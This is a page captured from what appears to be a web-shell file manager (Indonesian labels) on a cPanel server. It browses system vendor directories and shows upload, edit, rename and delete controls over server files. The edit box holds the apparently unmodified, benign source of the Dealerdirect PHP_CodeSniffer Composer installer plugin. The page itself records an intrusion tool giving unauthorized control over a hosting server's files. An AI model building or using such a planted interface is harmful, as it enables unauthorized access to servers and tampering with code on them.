<h2>DIR~: <a href='?dir=%2Fopt'>opt</a>/<a href='?dir=%2Fopt%2Fcpanel'>cpanel</a>/<a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector'>ea-wappspector</a>/<a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor'>vendor</a>/<a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor%2Fdealerdirect'>dealerdirect</a>/<a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor%2Fdealerdirect%2Fphpcodesniffer-composer-installer'>phpcodesniffer-composer-installer</a>/<a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor%2Fdealerdirect%2Fphpcodesniffer-composer-installer%2Fsrc'>src</a></h2><h3>Upload File</h3><form method='post' enctype='multipart/form-data'><input type='file' name='file'><input type='submit' name='upload' value='Upload'></form><ul style='list-style:none; padding:0;'><h3>Edit File: Plugin.php</h3><form method='post'><textarea name='file_content' rows='10' cols='50'>&lt;?php

/**
 * This file is part of the Dealerdirect PHP_CodeSniffer Standards
 * Composer Installer Plugin package.
 *
 * @copyright 2016-2022 Dealerdirect B.V.
 * @license MIT
 */

namespace PHPCSStandards\Composer\Plugin\Installers\PHPCodeSniffer;

use Composer\Composer;
use Composer\EventDispatcher\EventSubscriberInterface;
use Composer\IO\IOInterface;
use Composer\Package\AliasPackage;
use Composer\Package\PackageInterface;
use Composer\Package\RootPackageInterface;
use Composer\Plugin\PluginInterface;
use Composer\Script\Event;
use Composer\Script\ScriptEvents;
use Composer\Util\Filesystem;
use Composer\Util\ProcessExecutor;
use Symfony\Component\Finder\Finder;
use Symfony\Component\Process\Exception\LogicException;
use Symfony\Component\Process\Exception\ProcessFailedException;
use Symfony\Component\Process\Exception\RuntimeException;
use Symfony\Component\Process\PhpExecutableFinder;

/**
 * PHP_CodeSniffer standard installation manager.
 *
 * @author Franck Nijhof &lt;franck.nijhof@dealerdirect.com&gt;
 */
class Plugin implements PluginInterface, EventSubscriberInterface
{
    const KEY_MAX_DEPTH = 'phpcodesniffer-search-depth';

    const MESSAGE_ERROR_WRONG_MAX_DEPTH =
        'The value of &quot;%s&quot; (in the composer.json &quot;extra&quot;.section) must be an integer larger than %d, %s given.';

    const MESSAGE_NOT_INSTALLED      = 'PHPCodeSniffer is not installed';
    const MESSAGE_NOTHING_TO_INSTALL = 'No PHPCS standards to install or update';
    const MESSAGE_PLUGIN_UNINSTALLED = 'PHPCodeSniffer Composer Installer is uninstalled';
    const MESSAGE_RUNNING_INSTALLER  = 'Running PHPCodeSniffer Composer Installer';

    const PACKAGE_NAME = 'squizlabs/php_codesniffer';
    const PACKAGE_TYPE = 'phpcodesniffer-standard';

    const PHPCS_CONFIG_REGEX = '`%s:[^\r\n]+`';
    const PHPCS_CONFIG_KEY   = 'installed_paths';

    const PLUGIN_NAME = 'dealerdirect/phpcodesniffer-composer-installer';

    /**
     * @var Composer
     */
    private $composer;

    /**
     * @var string
     */
    private $cwd;

    /**
     * @var Filesystem
     */
    private $filesystem;

    /**
     * @var array
     */
    private $installedPaths;

    /**
     * @var IOInterface
     */
    private $io;

    /**
     * @var ProcessExecutor
     */
    private $processExecutor;

    /**
     * Triggers the plugin's main functionality.
     *
     * Makes it possible to run the plugin as a custom command.
     *
     * @param Event $event
     *
     * @throws \InvalidArgumentException
     * @throws \RuntimeException
     * @throws LogicException
     * @throws ProcessFailedException
     * @throws RuntimeException
     */
    public static function run(Event $event)
    {
        $io       = $event-&gt;getIO();
        $composer = $event-&gt;getComposer();

        $instance = new static();

        $instance-&gt;io       = $io;
        $instance-&gt;composer = $composer;
        $instance-&gt;init();
        $instance-&gt;onDependenciesChangedEvent();
    }

    /**
     * {@inheritDoc}
     *
     * @throws \RuntimeException
     * @throws LogicException
     * @throws ProcessFailedException
     * @throws RuntimeException
     */
    public function activate(Composer $composer, IOInterface $io)
    {
        $this-&gt;composer = $composer;
        $this-&gt;io       = $io;

        $this-&gt;init();
    }

    /**
     * {@inheritDoc}
     */
    public function deactivate(Composer $composer, IOInterface $io)
    {
    }

    /**
     * {@inheritDoc}
     */
    public function uninstall(Composer $composer, IOInterface $io)
    {
    }

    /**
     * Prepares the plugin so it's main functionality can be run.
     *
     * @throws \RuntimeException
     * @throws LogicException
     * @throws ProcessFailedException
     * @throws RuntimeException
     */
    private function init()
    {
        $this-&gt;cwd            = getcwd();
        $this-&gt;installedPaths = array();

        $this-&gt;processExecutor = new ProcessExecutor($this-&gt;io);
        $this-&gt;filesystem      = new Filesystem($this-&gt;processExecutor);
    }

    /**
     * {@inheritDoc}
     */
    public static function getSubscribedEvents()
    {
        return array(
            ScriptEvents::POST_INSTALL_CMD =&gt; array(
                array('onDependenciesChangedEvent', 0),
            ),
            ScriptEvents::POST_UPDATE_CMD =&gt; array(
                array('onDependenciesChangedEvent', 0),
            ),
        );
    }

    /**
     * Entry point for post install and post update events.
     *
     * @throws \InvalidArgumentException
     * @throws LogicException
     * @throws ProcessFailedException
     * @throws RuntimeException
     */
    public function onDependenciesChangedEvent()
    {
        $io        = $this-&gt;io;
        $isVerbose = $io-&gt;isVerbose();
        $exitCode  = 0;

        if ($isVerbose) {
            $io-&gt;write(sprintf('&lt;info&gt;%s&lt;/info&gt;', self::MESSAGE_RUNNING_INSTALLER));
        }

        if ($this-&gt;isPHPCodeSnifferInstalled() === true) {
            $this-&gt;loadInstalledPaths();
            $installPathCleaned = $this-&gt;cleanInstalledPaths();
            $installPathUpdated = $this-&gt;updateInstalledPaths();

            if ($installPathCleaned === true || $installPathUpdated === true) {
                $exitCode = $this-&gt;saveInstalledPaths();
            } elseif ($isVerbose) {
                $io-&gt;write(sprintf('&lt;info&gt;%s&lt;/info&gt;', self::MESSAGE_NOTHING_TO_INSTALL));
            }
        } else {
            $pluginPackage = $this
                -&gt;composer
                -&gt;getRepositoryManager()
                -&gt;getLocalRepository()
                -&gt;findPackages(self::PLUGIN_NAME)
            ;

            $isPluginUninstalled = count($pluginPackage) === 0;

            if ($isPluginUninstalled) {
                if ($isVerbose) {
                    $io-&gt;write(sprintf('&lt;info&gt;%s&lt;/info&gt;', self::MESSAGE_PLUGIN_UNINSTALLED));
                }
            } else {
                $exitCode = 1;
                if ($isVerbose) {
                    $io-&gt;write(sprintf('&lt;error&gt;%s&lt;/error&gt;', self::MESSAGE_NOT_INSTALLED));
                }
            }
        }

        return $exitCode;
    }

    /**
     * Load all paths from PHP_CodeSniffer into an array.
     *
     * @throws LogicException
     * @throws ProcessFailedException
     * @throws RuntimeException
     */
    private function loadInstalledPaths()
    {
        if ($this-&gt;isPHPCodeSnifferInstalled() === true) {
            $this-&gt;processExecutor-&gt;execute(
                $this-&gt;getPhpcsCommand() . ' --config-show',
                $output,
                $this-&gt;getPHPCodeSnifferInstallPath()
            );

            $regex = sprintf(self::PHPCS_CONFIG_REGEX, self::PHPCS_CONFIG_KEY);
            if (preg_match($regex, $output, $match) === 1) {
                $phpcsInstalledPaths = str_replace(self::PHPCS_CONFIG_KEY . ': ', '', $match[0]);
                $phpcsInstalledPaths = trim($phpcsInstalledPaths);

                if ($phpcsInstalledPaths !== '') {
                    $this-&gt;installedPaths = explode(',', $phpcsInstalledPaths);
                }
            }
        }
    }

    /**
     * Save all coding standard paths back into PHP_CodeSniffer
     *
     * @throws LogicException
     * @throws ProcessFailedException
     * @throws RuntimeException
     *
     * @return int Exit code. 0 for success, 1 or higher for failure.
     */
    private function saveInstalledPaths()
    {
        // Check if we found installed paths to set.
        if (count($this-&gt;installedPaths) !== 0) {
            sort($this-&gt;installedPaths);
            $paths         = implode(',', $this-&gt;installedPaths);
            $arguments     = array('--config-set', self::PHPCS_CONFIG_KEY, $paths);
            $configMessage = sprintf(
                'PHP CodeSniffer Config &lt;info&gt;%s&lt;/info&gt; &lt;comment&gt;set to&lt;/comment&gt; &lt;info&gt;%s&lt;/info&gt;',
                self::PHPCS_CONFIG_KEY,
                $paths
            );
        } else {
            // Delete the installed paths if none were found.
            $arguments     = array('--config-delete', self::PHPCS_CONFIG_KEY);
            $configMessage = sprintf(
                'PHP CodeSniffer Config &lt;info&gt;%s&lt;/info&gt; &lt;comment&gt;delete&lt;/comment&gt;',
                self::PHPCS_CONFIG_KEY
            );
        }

        // Prepare message in case of failure
        $failMessage = sprintf(
            'Failed to set PHP CodeSniffer &lt;info&gt;%s&lt;/info&gt; Config',
            self::PHPCS_CONFIG_KEY
        );

        // Okay, lets rock!
        $command = vsprintf(
            '%s %s',
            array(
                'phpcs command' =&gt; $this-&gt;getPhpcsCommand(),
                'arguments'     =&gt; implode(' ', $arguments),
            )
        );

        $exitCode = $this-&gt;processExecutor-&gt;execute($command, $configResult, $this-&gt;getPHPCodeSnifferInstallPath());
        if ($exitCode === 0) {
            $exitCode = $this-&gt;verifySaveSuccess();
        }

        if ($exitCode === 0) {
            $this-&gt;io-&gt;write($configMessage);
        } else {
            $this-&gt;io-&gt;write($failMessage);
        }

        if ($this-&gt;io-&gt;isVerbose() &amp;&amp; !empty($configResult)) {
            $this-&gt;io-&gt;write(sprintf('&lt;info&gt;%s&lt;/info&gt;', $configResult));
        }

        return $exitCode;
    }

    /**
     * Verify that the paths which were expected to be saved, have been.
     *
     * @return int Exit code. 0 for success, 1 for failure.
     */
    private function verifySaveSuccess()
    {
        $exitCode      = 1;
        $expectedPaths = $this-&gt;installedPaths;

        // Request the currently set installed paths after the save.
        $this-&gt;loadInstalledPaths();

        $registeredPaths = array_intersect($this-&gt;installedPaths, $expectedPaths);
        $registeredCount = count($registeredPaths);
        $expectedCount   = count($expectedPaths);

        if ($expectedCount === $registeredCount) {
            $exitCode = 0;
        }

        if ($exitCode === 1 &amp;&amp; $this-&gt;io-&gt;isVerbose()) {
            $verificationMessage = sprintf(
                &quot;Paths to external standards found by the plugin: &lt;info&gt;%s&lt;/info&gt;\n&quot;
                . 'Actual paths registered with PHPCS: &lt;info&gt;%s&lt;/info&gt;',
                implode(', ', $expectedPaths),
                implode(', ', $this-&gt;installedPaths)
            );
            $this-&gt;io-&gt;write($verificationMessage);
        }

        return $exitCode;
    }

    /**
     * Get the command to call PHPCS.
     */
    protected function getPhpcsCommand()
    {
        return vsprintf(
            '%s %s',
            array(
                'php executable'   =&gt; $this-&gt;getPhpExecCommand(),
                'phpcs executable' =&gt; './bin/phpcs',
            )
        );
    }

    /**
     * Get the path to the current PHP version being used.
     *
     * Duplicate of the same in the EventDispatcher class in Composer itself.
     */
    protected function getPhpExecCommand()
    {
        $finder = new PhpExecutableFinder();

        $phpPath = $finder-&gt;find(false);

        if ($phpPath === false) {
            throw new \RuntimeException('Failed to locate PHP binary to execute ' . $phpPath);
        }

        $phpArgs = $finder-&gt;findArguments();
        $phpArgs = $phpArgs
            ? ' ' . implode(' ', $phpArgs)
            : ''
        ;

        $command = ProcessExecutor::escape($phpPath) .
            $phpArgs .
            ' -d allow_url_fopen=' . ProcessExecutor::escape(ini_get('allow_url_fopen')) .
            ' -d disable_functions=' . ProcessExecutor::escape(ini_get('disable_functions')) .
            ' -d memory_limit=' . ProcessExecutor::escape(ini_get('memory_limit'))
        ;

        return $command;
    }

    /**
     * Iterate trough all known paths and check if they are still valid.
     *
     * If path does not exists, is not an directory or isn't readable, the path
     * is removed from the list.
     *
     * @return bool True if changes where made, false otherwise
     */
    private function cleanInstalledPaths()
    {
        $changes = false;
        foreach ($this-&gt;installedPaths as $key =&gt; $path) {
            // Resolve relative paths to absolute using the PHPCS install path as the base
            // to avoid potential open_basedir warnings from is_dir() on relative paths.
            if ($this-&gt;filesystem-&gt;isAbsolutePath($path) === false) {
                $path = realpath($this-&gt;getPHPCodeSnifferInstallPath() . \DIRECTORY_SEPARATOR . $path);
            }

            if ($path === false || is_dir($path) === false || is_readable($path) === false) {
                unset($this-&gt;installedPaths[$key]);
                $changes = true;
            }
        }
        return $changes;
    }

    /**
     * Check all installed packages (including the root package) against
     * the installed paths from PHP_CodeSniffer and add the missing ones.
     *
     * @return bool True if changes where made, false otherwise
     *
     * @throws \InvalidArgumentException
     * @throws \RuntimeException
     */
    private function updateInstalledPaths()
    {
        $changes     = false;
        $searchPaths = array();

        // Add root package only if it has the expected package type.
        if (
            $this-&gt;composer-&gt;getPackage() instanceof RootPackageInterface
            &amp;&amp; $this-&gt;composer-&gt;getPackage()-&gt;getType() === self::PACKAGE_TYPE
        ) {
            $searchPaths[] = $this-&gt;cwd;
        }

        $codingStandardPackages = $this-&gt;getPHPCodingStandardPackages();
        foreach ($codingStandardPackages as $package) {
            $installPath = $this-&gt;composer-&gt;getInstallationManager()-&gt;getInstallPath($package);
            if ($this-&gt;filesystem-&gt;isAbsolutePath($installPath) === false) {
                $installPath = $this-&gt;filesystem-&gt;normalizePath(
                    $this-&gt;cwd . \DIRECTORY_SEPARATOR . $installPath
                );
            }
            $searchPaths[] = $installPath;
        }

        // Nothing to do.
        if ($searchPaths === array()) {
            return false;
        }

        $finder = new Finder();
        $finder-&gt;files()
            -&gt;depth('&lt;= ' . $this-&gt;getMaxDepth())
            -&gt;depth('&gt;= ' . $this-&gt;getMinDepth())
            -&gt;ignoreUnreadableDirs()
            -&gt;ignoreVCS(true)
            -&gt;in($searchPaths)
            -&gt;name('ruleset.xml');

        // Process each found possible ruleset.
        foreach ($finder as $ruleset) {
            $standardsPath = $ruleset-&gt;getPath();

            // Pick the directory above the directory containing the standard, unless this is the project root.
            if ($standardsPath !== $this-&gt;cwd) {
                $standardsPath = dirname($standardsPath);
            }

            // Use relative paths for local project repositories.
            if ($this-&gt;isRunningGlobally() === false) {
                $standardsPath = $this-&gt;filesystem-&gt;findShortestPath(
                    $this-&gt;getPHPCodeSnifferInstallPath(),
                    $standardsPath,
                    true
                );
            }

            // De-duplicate and add when directory is not configured.
            if (in_array($standardsPath, $this-&gt;installedPaths, true) === false) {
                $this-&gt;installedPaths[] = $standardsPath;
                $changes                = true;
            }
        }

        return $changes;
    }

    /**
     * Iterates through Composers' local repository looking for valid Coding
     * Standard packages.
     *
     * @return array Composer packages containing coding standard(s)
     */
    private function getPHPCodingStandardPackages()
    {
        $codingStandardPackages = array_filter(
            $this-&gt;composer-&gt;getRepositoryManager()-&gt;getLocalRepository()-&gt;getPackages(),
            function (PackageInterface $package) {
                if ($package instanceof AliasPackage) {
                    return false;
                }
                return $package-&gt;getType() === Plugin::PACKAGE_TYPE;
            }
        );

        return $codingStandardPackages;
    }

    /**
     * Searches for the installed PHP_CodeSniffer Composer package
     *
     * @param null|string|\Composer\Semver\Constraint\ConstraintInterface $versionConstraint to match against
     *
     * @return PackageInterface|null
     */
    private function getPHPCodeSnifferPackage($versionConstraint = null)
    {
        $packages = $this
            -&gt;composer
            -&gt;getRepositoryManager()
            -&gt;getLocalRepository()
            -&gt;findPackages(self::PACKAGE_NAME, $versionConstraint);

        return array_shift($packages);
    }

    /**
     * Returns the path to the PHP_CodeSniffer package installation location
     *
     * {@internal Do NOT try to modernize via the Composer 2.2 API (`InstalledVersions::getInstallPath()`).
     * Doing so doesn't play nice with other plugins.
     * {@link https://github.com/PHPCSStandards/composer-installer/issues/239}}
     *
     * @return string
     */
    private function getPHPCodeSnifferInstallPath()
    {
        return $this-&gt;composer-&gt;getInstallationManager()-&gt;getInstallPath($this-&gt;getPHPCodeSnifferPackage());
    }

    /**
     * Simple check if PHP_CodeSniffer is installed.
     *
     * {@internal Do NOT try to modernize via the Composer 2.2 API (`InstalledVersions::isInstalled()`).
     * Doing so doesn't play nice with integrations calling the Composer EventDispatcher programmatically.
     * {@link https://github.com/PHPCSStandards/composer-installer/issues/247}}
     *
     * @param null|string|\Composer\Semver\Constraint\ConstraintInterface $versionConstraint to match against
     *
     * @return bool Whether PHP_CodeSniffer is installed
     */
    private function isPHPCodeSnifferInstalled($versionConstraint = null)
    {
        return ($this-&gt;getPHPCodeSnifferPackage($versionConstraint) !== null);
    }

    /**
     * Test if composer is running &quot;global&quot;
     * This check kinda dirty, but it is the &quot;Composer Way&quot;
     *
     * @return bool Whether Composer is running &quot;globally&quot;
     *
     * @throws \RuntimeException
     */
    private function isRunningGlobally()
    {
        return ($this-&gt;composer-&gt;getConfig()-&gt;get('home') === $this-&gt;cwd);
    }

    /**
     * Determines the maximum search depth when searching for Coding Standards.
     *
     * @return int
     *
     * @throws \InvalidArgumentException
     */
    private function getMaxDepth()
    {
        $maxDepth = 3;

        $extra = $this-&gt;composer-&gt;getPackage()-&gt;getExtra();

        if (array_key_exists(self::KEY_MAX_DEPTH, $extra)) {
            $maxDepth = $extra[self::KEY_MAX_DEPTH];
            $minDepth = $this-&gt;getMinDepth();

            if (
                (string) (int) $maxDepth !== (string) $maxDepth /* Must be an integer or cleanly castable to one */
                || $maxDepth &lt;= $minDepth                       /* Larger than the minimum */
                || is_float($maxDepth) === true                 /* Within the boundaries of integer */
            ) {
                $message = vsprintf(
                    self::MESSAGE_ERROR_WRONG_MAX_DEPTH,
                    array(
                        'key'   =&gt; self::KEY_MAX_DEPTH,
                        'min'   =&gt; $minDepth,
                        'given' =&gt; var_export($maxDepth, true),
                    )
                );

                throw new \InvalidArgumentException($message);
            }
        }

        return (int) $maxDepth;
    }

    /**
     * Returns the minimal search depth for Coding Standard packages.
     *
     * Usually this is 0, unless PHP_CodeSniffer &gt;= 3 is used.
     *
     * @return int
     */
    private function getMinDepth()
    {
        if ($this-&gt;isPHPCodeSnifferInstalled('&gt;= 3.0.0') !== true) {
            return 1;
        }
        return 0;
    }
}
</textarea><br><input type='hidden' name='file_name' value='Plugin.php'><input type='submit' name='edit' value='Simpan'></form><li style='color: red;'><b>[FILE]</b> Plugin.php <a href='?edit=Plugin.php&dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor%2Fdealerdirect%2Fphpcodesniffer-composer-installer%2Fsrc'style='color:red;'>[Edit]</a> <a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor%2Fdealerdirect%2Fphpcodesniffer-composer-installer%2Fsrc&rename=Plugin.php' style='color:red;'>[Rename]</a> <a href='?dir=%2Fopt%2Fcpanel%2Fea-wappspector%2Fvendor%2Fdealerdirect%2Fphpcodesniffer-composer-installer%2Fsrc&delete=Plugin.php' 
        style='color:red;' onclick='return confirm("Yakin ingin menghapus file ini?")'>[Delete]</a></ul>